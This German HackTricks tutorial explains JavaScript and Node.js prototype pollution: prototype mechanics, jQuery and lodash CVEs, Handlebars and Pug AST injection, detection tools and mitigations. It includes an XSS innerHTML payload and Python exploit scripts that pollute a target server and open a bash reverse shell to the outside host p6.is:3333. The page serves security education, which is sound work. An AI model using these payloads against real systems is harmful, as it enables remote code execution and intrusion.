NodeJS - __proto__ & prototype Pollution
Reading time: 13 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Objekte in JavaScript
Objekte in JavaScript sind im Wesentlichen Sammlungen von Schlüssel-Wert-Paaren, die als Eigenschaften bekannt sind. Ein Objekt kann mit Object.create
unter Verwendung von null
als Argument erstellt werden, um ein leeres Objekt zu erzeugen. Diese Methode ermöglicht die Erstellung eines Objekts ohne geerbte Eigenschaften.
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
Ein leeres Objekt ist einem leeren Wörterbuch ähnlich, dargestellt als {}
.
Funktionen und Klassen in JavaScript
In JavaScript sind Klassen und Funktionen eng miteinander verbunden, wobei Funktionen oft als Konstruktoren für Klassen dienen. Trotz des Fehlens nativer Klassenunterstützung in JavaScript können Konstruktoren das Verhalten von Klassen emulieren.
// Run this in the developers tools console
function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}
Employee.prototype
var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
Prototypen in JavaScript
JavaScript ermöglicht die Modifikation, Hinzufügung oder Löschung von Prototypattributen zur Laufzeit. Diese Flexibilität ermöglicht die dynamische Erweiterung der Funktionalitäten von Klassen.
Funktionen wie toString
und valueOf
können verändert werden, um ihr Verhalten zu ändern, was die anpassungsfähige Natur des Prototypsystems von JavaScript demonstriert.
Vererbung
In der prototypbasierten Programmierung werden Eigenschaften/Methoden von Objekten von Klassen geerbt. Diese Klassen werden erstellt, indem Eigenschaften/Methoden entweder zu einer Instanz einer anderen Klasse oder zu einem leeren Objekt hinzugefügt werden.
Es sollte beachtet werden, dass, wenn eine Eigenschaft zu einem Objekt hinzugefügt wird, das als Prototyp für andere Objekte dient (wie myPersonObj
), die erbenenden Objekte Zugriff auf diese neue Eigenschaft erhalten. Diese Eigenschaft wird jedoch nicht automatisch angezeigt, es sei denn, sie wird ausdrücklich aufgerufen.
__proto__ Verschmutzung
Erforschen der Prototypverschmutzung in JavaScript
JavaScript-Objekte werden durch Schlüssel-Wert-Paare definiert und erben vom JavaScript-Objektprototyp. Das bedeutet, dass die Veränderung des Objektprototyps alle Objekte in der Umgebung beeinflussen kann.
Lassen Sie uns ein anderes Beispiel verwenden, um dies zu veranschaulichen:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
Der Zugriff auf das Objektprototyp ist möglich über:
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
Durch das Hinzufügen von Eigenschaften zum Object-Prototyp erbt jedes JavaScript-Objekt diese neuen Eigenschaften:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
prototype pollution
Für ein Szenario, in dem die Verwendung von __proto__
eingeschränkt ist, ist die Modifizierung des Prototyps einer Funktion eine Alternative:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true
// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
Dies betrifft nur Objekte, die aus dem Vehicle
-Konstruktor erstellt wurden, und verleiht ihnen die Eigenschaften beep
, hasWheels
, honk
und isElectric
.
Zwei Methoden, um JavaScript-Objekte global durch Prototyp-Verschmutzung zu beeinflussen, sind:
- Direkte Verschmutzung des
Object.prototype
:
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
- Verschmutzung des Prototyps eines Konstruktors für eine häufig verwendete Struktur:
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}
Nach diesen Operationen kann jedes JavaScript-Objekt die Methoden goodbye
und greet
ausführen.
Andere Objekte verschmutzen
Von einer Klasse zu Object.prototype
In einem Szenario, in dem Sie ein bestimmtes Objekt verschmutzen können und Sie zu Object.prototype
gelangen müssen, können Sie danach mit etwas wie dem folgenden Code suchen:
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
Array-Elemente-Verschmutzung
Beachten Sie, dass Sie, da Sie Attribute von Objekten in JS verschmutzen können, wenn Sie Zugriff haben, um ein Array zu verschmutzen, auch Werte des Arrays zugänglich über Indizes verschmutzen können (beachten Sie, dass Sie Werte nicht überschreiben können, sodass Sie Indizes verschmutzen müssen, die irgendwie verwendet, aber nicht geschrieben werden).
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
Html-Elemente-Verschmutzung
Beim Generieren eines HTML-Elements über JS ist es möglich, das innerHTML
-Attribut zu überschreiben, um willkürlichen HTML-Code zu schreiben. Idee und Beispiel aus diesem Artikel.
// Create element
devSettings["root"] = document.createElement('main')
// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
Beispiele
Einfaches Beispiel
Eine Prototyp-Verschmutzung tritt aufgrund eines Fehlers in der Anwendung auf, der das Überschreiben von Eigenschaften auf Object.prototype
ermöglicht. Das bedeutet, dass die meisten Objekte ihre Eigenschaften von Object.prototype
ableiten.
Das einfachste Beispiel besteht darin, einen Wert zu einem undefinierten Attribut eines Objekts hinzuzufügen, das überprüft werden soll, wie:
if (user.admin) {
Wenn das Attribut admin
undefiniert ist, ist es möglich, eine PP auszunutzen und es mit etwas wie auf True zu setzen:
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
Der Mechanismus dahinter besteht darin, Eigenschaften so zu manipulieren, dass ein Angreifer, der die Kontrolle über bestimmte Eingaben hat, das Prototyp aller Objekte in der Anwendung ändern kann. Diese Manipulation beinhaltet typischerweise das Setzen der __proto__
-Eigenschaft, die in JavaScript gleichbedeutend mit der direkten Änderung des Prototyps eines Objekts ist.
Die Bedingungen, unter denen dieser Angriff erfolgreich ausgeführt werden kann, wie in einer bestimmten Studie dargelegt, umfassen:
- Durchführung eines rekursiven Mergings.
- Definieren von Eigenschaften basierend auf einem Pfad.
- Klonen von Objekten.
Override-Funktion
customer.__proto__.toString = ()=>{alert("polluted")}
Proto Pollution zu RCE
Andere Payloads:
Client-seitige Prototype-Verschmutzung zu XSS
Client Side Prototype Pollution
CVE-2019–11358: Prototype-Verschmutzungsangriff durch jQuery $ .extend
Für weitere Details siehe diesen Artikel In jQuery kann die Funktion $ .extend
zu einer Prototype-Verschmutzung führen, wenn die Deep-Copy-Funktion nicht ordnungsgemäß genutzt wird. Diese Funktion wird häufig zum Klonen von Objekten oder zum Zusammenführen von Eigenschaften aus einem Standardobjekt verwendet. Wenn sie jedoch falsch konfiguriert ist, können Eigenschaften, die für ein neues Objekt vorgesehen sind, stattdessen dem Prototyp zugewiesen werden. Zum Beispiel:
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
Diese Schwachstelle, identifiziert als CVE-2019–11358, zeigt, wie eine tiefe Kopie versehentlich das Prototyp ändern kann, was zu potenziellen Sicherheitsrisiken führen kann, wie z.B. unbefugtem Admin-Zugriff, wenn Eigenschaften wie isAdmin
ohne ordnungsgemäße Existenzüberprüfung überprüft werden.
CVE-2018–3721, CVE-2019–10744: Prototyp-Verschmutzungsangriff durch lodash
Für weitere Details siehe diesen Artikel
Lodash hatte ähnliche Prototyp-Verschmutzungsanfälligkeiten (CVE-2018–3721, CVE-2019–10744). Diese Probleme wurden in Version 4.17.11 behoben.
Ein weiteres Tutorial mit CVEs
Werkzeuge zur Erkennung von Prototyp-Verschmutzung
- Server-Side-Prototype-Pollution-Gadgets-Scanner: Burp Suite-Erweiterung, die entwickelt wurde, um serverseitige Prototyp-Verschmutzungsanfälligkeiten in Webanwendungen zu erkennen und zu analysieren. Dieses Tool automatisiert den Prozess des Scannens von Anfragen, um potenzielle Prototyp-Verschmutzungsprobleme zu identifizieren. Es nutzt bekannte Gadgets - Methoden zur Ausnutzung von Prototyp-Verschmutzung, um schädliche Aktionen auszuführen - mit besonderem Fokus auf Node.js-Bibliotheken.
- server-side-prototype-pollution: Diese Erweiterung identifiziert serverseitige Prototyp-Verschmutzungsanfälligkeiten. Sie verwendet Techniken, die in der serverseitigen Prototyp-Verschmutzung beschrieben sind.
AST Prototyp-Verschmutzung in NodeJS
NodeJS nutzt umfangreich Abstract Syntax Trees (AST) in JavaScript für Funktionen wie Template-Engines und TypeScript. Dieser Abschnitt untersucht die Schwachstellen im Zusammenhang mit Prototyp-Verschmutzung in Template-Engines, insbesondere Handlebars und Pug.
Handlebars Schwachstellenanalyse
Die Handlebars-Template-Engine ist anfällig für einen Prototyp-Verschmutzungsangriff. Diese Schwachstelle ergibt sich aus bestimmten Funktionen innerhalb der Datei javascript-compiler.js
. Die Funktion appendContent
beispielsweise fügt pendingContent
hinzu, wenn es vorhanden ist, während die Funktion pushSource
pendingContent
nach dem Hinzufügen der Quelle auf undefined
zurücksetzt.
Ausnutzungsprozess
Die Ausnutzung nutzt den AST (Abstract Syntax Tree), der von Handlebars erzeugt wird, und folgt diesen Schritten:
- Manipulation des Parsers: Zunächst erzwingt der Parser über den
NumberLiteral
-Knoten, dass Werte numerisch sind. Prototyp-Verschmutzung kann dies umgehen und das Einfügen von nicht-numerischen Zeichenfolgen ermöglichen. - Verarbeitung durch den Compiler: Der Compiler kann ein AST-Objekt oder eine Zeichenfolgenvorlage verarbeiten. Wenn
input.type
gleichProgram
ist, wird die Eingabe als vorgeparst behandelt, was ausgenutzt werden kann. - Code-Injektion: Durch Manipulation von
Object.prototype
kann beliebiger Code in die Template-Funktion injiziert werden, was zu einer Remote-Code-Ausführung führen kann.
Ein Beispiel, das die Ausnutzung der Handlebars-Schwachstelle demonstriert:
const Handlebars = require("handlebars")
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]
const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)
console.log(eval("(" + template + ")")["main"].toString())
Dieser Code zeigt, wie ein Angreifer beliebigen Code in eine Handlebars-Vorlage injizieren könnte.
Externe Referenz: Ein Problem im Zusammenhang mit Prototype Pollution wurde in der 'flat'-Bibliothek gefunden, wie hier detailliert: Issue on GitHub.
Externe Referenz: Issue im Zusammenhang mit Prototype Pollution in der 'flat'-Bibliothek
Beispiel für einen Prototype Pollution Exploit in Python:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
Pug-Sicherheitsanfälligkeit
Pug, ein weiterer Template-Engine, ist einem ähnlichen Risiko der Prototypenverschmutzung ausgesetzt. Detaillierte Informationen sind in der Diskussion über AST Injection in Pug verfügbar.
Beispiel für Prototypenverschmutzung in Pug:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
Präventive Maßnahmen
Um das Risiko der Prototyp-Verschmutzung zu verringern, können die unten aufgeführten Strategien angewendet werden:
- Objekt-Unveränderlichkeit: Das
Object.prototype
kann durch Anwendung vonObject.freeze
unveränderlich gemacht werden. - Eingangsvalidierung: JSON-Eingaben sollten rigoros gegen das Schema der Anwendung validiert werden.
- Sichere Merge-Funktionen: Die unsichere Verwendung von rekursiven Merge-Funktionen sollte vermieden werden.
- Prototyp-freie Objekte: Objekte ohne Prototyp-Eigenschaften können mit
Object.create(null)
erstellt werden. - Verwendung von Map: Anstelle von
Object
sollteMap
zur Speicherung von Schlüssel-Wert-Paaren verwendet werden. - Bibliotheksaktualisierungen: Sicherheitsupdates können durch regelmäßige Aktualisierungen von Bibliotheken integriert werden.
- Linter und statische Analysetools: Verwenden Sie Tools wie ESLint mit geeigneten Plugins, um Schwachstellen der Prototyp-Verschmutzung zu erkennen und zu verhindern.
- Code-Überprüfungen: Führen Sie gründliche Code-Überprüfungen durch, um potenzielle Risiken im Zusammenhang mit der Prototyp-Verschmutzung zu identifizieren und zu beheben.
- Sicherheitsschulung: Schulen Sie Entwickler über die Risiken der Prototyp-Verschmutzung und bewährte Praktiken zum Schreiben sicherer Codes.
- Vorsicht bei der Verwendung von Bibliotheken: Seien Sie vorsichtig bei der Verwendung von Drittanbieterbibliotheken. Bewerten Sie deren Sicherheitslage und überprüfen Sie deren Code, insbesondere bei denen, die Objekte manipulieren.
- Laufzeitschutz: Setzen Sie Laufzeitschutzmechanismen ein, wie die Verwendung von sicherheitsfokussierten npm-Paketen, die Angriffe durch Prototyp-Verschmutzung erkennen und verhindern können.
Referenzen
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l
- https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7
- https://blog.p6.is/AST-Injection/
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.